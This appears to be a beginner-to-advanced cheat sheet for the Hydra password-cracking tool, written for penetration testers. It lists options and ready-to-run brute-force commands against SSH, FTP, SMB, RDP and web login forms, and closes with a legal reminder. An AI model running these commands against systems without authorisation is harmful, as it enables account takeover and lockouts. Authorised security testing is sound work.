

Hydra Cheat Sheet (Beginner → Advanced)

Hydra is a **parallelized login cracker** supporting multiple protocols. It's widely used in penetration testing for brute-forcing authentication.

1. Basic Syntax

hydra [options] [protocol]://target

2. Target Specification

Option	Description	Example
-l USER	Single username	-l admin
-L FILE	List of usernames	-L users.txt
-p PASS	Single password	-p 123456
-P FILE	List of passwords	-P rockyou.txt
-C FILE	Colon-separated user:pass combos	-C creds.txt

3. Common Options

Option	Description	Example
-t N	Threads (default 16)	-t 32
-s PORT	Specify custom port	-s 2222
-vV	Verbose output	-vV
-f	Stop after first valid login	-f
-o FILE	Output results to file	-o results.txt
-I	Ignore errors	-I

✦ 4. Supported Protocols (Most Used)

Protocol	Example
SSH	ssh://192.168.1.10
FTP	ftp://192.168.1.20
Telnet	telnet://target
HTTP (Basic)	http-get://target/login
HTTPS (Post)	https-post-form
RDP	rdp://target
MySQL	mysql://target
SMB	smb://target
VNC	vnc://target

✦ 5. Examples (Beginner → Advanced)

🎯 Beginner

- SSH brute force with username & password list

```
hydra -L users.txt -P passwords.txt ssh://192.168.1.100
```

- FTP brute force single user

```
hydra -l admin -P rockyou.txt ftp://192.168.1.200
```

⚡ Intermediate

- Stop at first valid login

```
hydra -L users.txt -P pass.txt -f ssh://10.10.10.10
```

- Custom port SSH

```
hydra -L users.txt -P pass.txt -s 2222 ssh://target
```

- Save output

```
hydra -L users.txt -P pass.txt ssh://target -o results.txt
```

Advanced

- Web login brute force (POST form)

```
hydra -L users.txt -P passwords.txt 192.168.1.50 http-post-form  
"/login:username=^USER^&password=^PASS^:F=invalid"
```

- SMB brute force

```
hydra -L users.txt -P pass.txt smb://192.168.1.20
```






- RDP brute force

```
hydra -L users.txt -P pass.txt rdp://192.168.1.30
```

- Parallelized attack with 64 threads

```
hydra -L users.txt -P pass.txt -t 64 ssh://192.168.1.40
```

6. Tips & Notes

-  Use **smaller wordlists** first to save time.
-  Increase -t threads for faster attacks (but may cause lockouts).
-  For web forms, identify correct **POST parameters** using **Burp Suite**.
-  Combine with **SecLists** for strong username/password lists.
-  Legal reminder: Only use on systems you own or have permission to test.